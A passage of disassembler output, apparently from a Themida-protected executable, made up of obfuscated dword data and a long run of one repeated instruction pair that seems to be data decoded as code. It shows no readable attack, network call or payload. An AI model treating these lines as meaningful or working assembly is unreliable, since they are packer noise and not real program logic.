dd 0B4873DD3h, 0DE918h, 0A3170000h, 396DE772h, 887CCE4Bh
dd 57626E72h, 1DB0B966h, 0FBC1815Fh, 8B2B78AEh, 92DA81C7h
dd 8B46A363h, 0C88B66DAh, 3800Fh, 0B70F0000h, 6E9F7h, 41150000h
dd 929CC49Eh, 11E8h, 3F230800h, 9EBC5CC7h, 0C6B7EA59h
dd 92B15B3h, 5AF5B93Eh, 44DB8166h, 0CF8166F1h, 810F4121h
dd 9, 3860Fh, 0CC800000h, 6860F9Eh, 81000000h, 2092B4EAh
dd 0A1CF8041h, 5810Fh, 2DBF0000h, 664F3CF1h, 0AE9DE8Bh
dd 34000000h, 3E4396E5h, 0A8573F33h, 7DB96672h, 0F08B669Eh
dd 0E9DA8B66h, 12h, 0A1AEEA46h, 0EF7C3DEh, 0A1B9702Ah
dd 0C9222CF7h, 0BA60D549h, 5854A753h, 919425BEh, 810F6148h
dd 1Dh, 13E8h, 1D987E00h, 1B998695h, 49E75E3Bh, 865CD10Bh
dd 9D3E0532h, 0A913BB66h, 0C6B1605Eh, 5A0FBE66h, 9E85661h
dd 0E3000000h, 19897A56h, 8B6E6DDAh, 5F5AFE8Ah, 6E9h, 88621400h
dd 0FCD0B5E8h, 0EE9h, 7023AB00h, 38E267D8h, 62E760Bh, 80AD707Eh
dd 0BF0FF3EAh, 6E9D2h, 56840000h, 316A98A5h, 38D0Fh, 0DB800000h
dd 7E9F0h, 171D0000h, 0A28C0A0Eh, 13E8B8h, 0B61A0000h
dd 0DA5E6486h, 37AAC6ACh, 0B4655D39h, 22040714h, 5FDF8BB1h
dd 11E9h, 18D64000h, 8D2F53D3h, 1972FFDh, 866BC567h, 8F0F1607h
dd 5, 0AC78166h, 0DBB70F6Eh, 6E9h, 0DC347600h, 806972C5h
dd 0EE80BBC1h, 13E95Fh, 4A810000h, 359783CDh, 0E63F7C33h
dd 2F28BCC6h, 0A07C26C8h, 0A9BB66ACh, 188C0F2Bh, 0E8000000h
dd 12h, 22732C56h, 53849C16h, 0A573854Eh, 9FBE3693h, 66591855h
dd 60D8D2BFh, 0F52A0B1h, 615EF0BFh, 5BD9CB81h, 0B70F3E9Ah
dd 860FCBh, 66000000h, 8B15EAB8h, 3820FD7h, 0F000000h
dd 8B66F0BFh, 14E9FEh, 26E60000h, 0BA84E532h, 0E3296BE6h
dd 60F61735h, 9FA87A3Fh, 0CA8B0C9Fh, 9E9h, 7E4E2A00h, 4822E508h
dd 8BF86C30h, 0C7B70FCBh, 6E9h, 57156700h, 51E1577Eh, 1FC2F7BEh
dd 0EA805868h, 8B0F607Eh, 3, 0FD1B70Fh, 583h, 9B33BB00h
dd 0B46122EFh, 0DE914h, 3E1F0000h, 99AED277h, 8EBF973h
dd 0F0D09C8h, 880FD3BFh, 2, 0DA8BF78Bh, 66CFBF0Fh, 0BE9F88Bh
dd 53000000h, 7C4C45E0h, 77032C06h, 8A519181h, 8B6658CAh
dd 4482BFF9h, 850F7643h, 0Ah, 5E9h, 0ADD47700h, 0BE96ED1h
dd 8D000000h, 70D8532Eh, 6E81CA67h, 88BF1D37h, 56531176h
dd 6E1BE66h, 0D88B665Fh, 0A44A8CBBh, 850F7Ch, 66000000h
dd 66C177BFh, 6653D88Bh, 0F203E681h, 8865B959h, 0C38A3BB4h
dd 0BE8h, 8F8D6100h, 0A00D3B00h, 29C4F1D7h, 6DBB6658h
dd 8E91Bh, 5CFB0000h, 7E2E410h, 0D281D2F2h, 6031BDAAh
dd 68D0F60h, 81000000h, 0CE1F2BC2h, 0C9816628h, 816173F3h
dd 78BEBCD8h, 8E927h, 33160000h, 6617E597h, 8E92678h, 77000000h
dd 467290D1h, 0FA98751h, 800FF2BFh, 5, 0E9E78166h, 23BB6663h
dd 0C681667Dh, 3BBBB723h, 8B2B6201h, 0B9F88BC1h, 1EC1E68Fh
dd 5267E580h, 12A2FBB9h, 8B0F5822h, 5, 0F3F18166h, 5050F89Ah
dd 5FC6B70Fh, 10820F5Ah, 0E9000000h, 0Bh, 0EFC6AB36h, 0AE296CECh
dd 816487E6h, 0B98AB2D7h, 41B9664Fh, 12E9F8EAh, 0A2000000h
dd 31A7A57Fh, 664492E2h, 5FD54D9Fh, 197A46CDh, 0E2816675h
dd 800FF480h, 3, 0B0F1BF0Fh, 9E8B7h, 90CA0000h, 0A47804D5h
dd 0E876E8F3h, 5, 61C33025h, 820FF0h, 5E000000h, 0F78B6658h
dd 14890Fh, 860F0000h, 0Eh, 9E9h, 0DC55EB00h, 2F884F14h
dd 13E97AA8h, 8D000000h, 0D96B3666h, 323E60AFh, 537B966Dh
dd 17810597h, 880F3962h, 4, 5A5F5151h, 2820F53h, 0B6000000h
dd 806059F3h, 0BA6625F5h, 66612329h, 8BB457B9h, 0DEBF0FD8h
dd 38D0Fh, 0B70F0000h, 5E9FAh, 0F6880000h, 66A90FC3h, 937EC381h
dd 0E181FCFCh, 5B7B9D7Dh, 2BD78166h, 0CB81661Bh, 8B661F43h
dd 0FB8BFCCEh, 0F75F580h, 28Ch, 0BFD98B00h, 0E956E5Ch
dd 0B4E08166h, 0C8BF0FE0h, 0EE8h, 0F470AF00h, 822D09A8h
dd 66C935Bh, 6666549Ch, 8A58C28Bh, 0CCE81F3h, 0BB3569CFh
dd 13C22BE1h, 20E78166h, 0D08B6613h, 296A4FBEh, 0BE979h
dd 5E640000h, 0AAC6ACDAh, 655D3937h, 0F1B70FB4h, 66F1BF0Fh
dd 66D7F8B9h, 0A3F8CB81h, 58F0F60h, 0B8000000h, 5D04D7Ah
dd 0E9615856h, 9, 0AB009F03h, 9033A958h, 5E1BB9C4h, 820F4004h
dd 5, 7D7951BAh, 8C0F6021h, 6, 860Fh, 4BBE0000h, 61423264h
dd 0D62FFBEh, 0C68BF85Ah, 5800Fh, 81660000h, 0BBEA7DC6h
dd 42D17A9Ch, 0FD38B66h, 889h, 28E0F00h, 60000000h, 0E2816661h
dd 0B866624Dh, 0F78BACC3h, 50FEB70Fh, 9BC98166h, 81665F4Ch
dd 57591ADEh, 0F5FC18Bh, 48Fh, 8AB86600h, 1119BA41h, 81562EF3h
dd 0D70A06DEh, 0A3BE5959h, 0E9788486h, 5, 30515947h, 10E95Fh
dd 21C00000h, 0B45DAEAEh, 0BC24248Ch, 6F6B6C06h, 5F5219CAh
dd 610CB966h, 1800Fh, 0B1F80000h, 3820FCDh, 66000000h
dd 0FF9D08Bh, 180h, 8E0FF800h, 5, 75D007B8h, 5E96Ch, 0C7460000h
dd 8A46196Dh, 66CE8BDCh, 8B3683B8h, 66B866C2h, 4AB2BBDBh
dd 0F60049Eh, 382h, 0C38B6600h, 0CA98BA66h, 0CE961h, 7C230000h
dd 0D9B0198Fh, 480FDC76h, 0C4802C77h, 0DB816697h, 0B9668D76h
dd 8B66EA47h, 0DA8B66F9h, 6830F50h, 0F000000h, 87h, 13E85F00h
dd 0BD000000h, 62E3A099h, 0A6DE7A4Dh, 9424068h, 4B6A8AE7h
dd 13E94721h, 34000000h, 6584FE54h, 0C5E47935h, 1DCF310Ah
dd 4FF78A32h, 8B5E0855h, 11E8DAh, 24F40000h, 0B7E2348Ch
dd 0C661414Eh, 99221C35h, 0E833E3FFh, 14h, 776B3423h, 275BB679h
dd 0F8E7D7A6h, 0CD6BBAE3h, 0A906F31Ah, 36AF31BAh, 0F5E5B25h
dd 38Ah, 0C2B70F00h, 0CE8h, 6610CE00h, 7E98C993h, 2F0F9912h
dd 59F28B09h, 81F0BF0Fh, 9F8644F1h, 0E9F8F54Ah, 8, 0FE15DCA4h
dd 0A06BEF5Bh, 14E9F560h, 0A9000000h, 0F820EAB8h, 2A027882h
dd 0A8BE291Ch, 0C2131F23h, 613FDDB8h, 5880Fh, 0F530000h
dd 665BDFB7h, 0E969AEBEh, 10h, 0AA0B8CA9h, 0A8D2A15Ah
dd 1D149AA7h, 1F2D54B9h, 0FE8h, 9F7AF400h, 4C2A5271h, 7B33BADBh
dd 3CD4881Eh, 8B595DB2h, 81DE8BFAh, 8ACB9ADAh, 0EFEA815Ah
dd 0E973530Ah, 14h, 7E948BA7h, 8FC029F6h, 7FCF439Dh, 0D3CFC748h
dd 3A0AE4B8h, 1800Fh, 0B6F80000h, 0DF8166E7h, 0FF5ED35h
dd 28Ch, 5707B700h, 56C38A59h, 28E0Fh, 61600000h, 2810F59h
dd 8B000000h
dd 0F18160D7h, 0CC8EBACh, 0F38B6653h, 10E9615Bh, 0A7000000h
dd 890EB4C7h, 0EC67A255h, 9D39F7A4h, 0E900F2DDh, 0Ch, 0CA9E4FFAh
dd 69AE62h, 6785FA15h, 8B600EB0h, 0DF8166CFh, 0F61D047h
dd 850FCBBFh, 3, 0FCF78B66h, 0BB90DF80h, 46018D97h, 8173D480h
dd 21DFC8D9h, 2EC88112h, 667262D5h, 8BA401B8h, 6056F9FAh
dd 2D88166h, 8C0FD3h, 61000000h, 98BA665Ah, 0D9816604h
dd 0DD80DF13h, 0DFBF0F7Ah, 0FE8h, 9DE72200h, 89037E6Bh
dd 0E812A730h, 0C9F734DFh, 5FF18B66h, 3850Fh, 0F7800000h
dd 10E93Dh, 0B3870000h, 0C867CE04h, 8179B86Eh, 33B47A03h
dd 0CA8BA14Dh, 0AE8h, 0E90BA100h, 61C65535h, 6097241Dh
dd 860F9CB5h, 0
dd 0D3815E61h, 232C1466h, 0BE8h, 0D1122600h, 0A1DCF065h
dd 1121EDBCh, 0E95833B5h, 10h, 4FC81E3Bh, 97AD6AFCh, 2DB35EAFh
dd 0E1931E14h, 53EA8A60h, 0D001BE66h, 0BF0F615Bh, 0DE9CAh
dd 0E1560000h, 35235E9Fh, 0E0029E57h, 532BC81Ah, 0BE8h
dd 5A068200h, 2D019D95h, 0CAA85FCAh, 9E8h, 0F0075000h
dd 750E44Eh, 5F5A4EF0h, 90BE665Ah, 66C78A2Bh, 3889DE81h
dd 8AC0DE80h, 0B456F8FEh, 12E95F97h, 0BD000000h, 8F624516h
dd 0B2A4892Fh, 0D7486F99h, 484FD4C9h, 0EE937h, 0C2550000h
dd 571CF8DAh, 74B007Fh, 2D21B105h, 0AE9h, 0C4736E00h, 823B5FD3h
dd 0F9BDEE9h, 88Bh, 28D0F00h, 56000000h, 870F59h, 57000000h
dd 0F870Fh, 0AE90000h, 30000000h, 9E5B5FB3h, 193AB7BEh
dd 3BBF59B5h, 0E818CD83h, 8, 615DDDB6h, 1248C48Ah, 48D0Fh
dd 0BB660000h, 0F59D3C1h, 28Ah, 6697B000h, 666538B8h, 54F0DE81h
dd 6784B960h, 8B501772h, 45615EF2h, 2Bh dup(481D3785h)
dd 0AD1D3785h, 208h dup(0AF0289F7h)
dword_5B7974 dd 0AF0289F7h ; DATA XREF: Themida_:00542C96r
; Themida_:00542E2Fr
; ---------------------------------------------------------------------------
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
loc_5B7E32: ; DATA XREF: Themida_:loc_53FEBCr
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
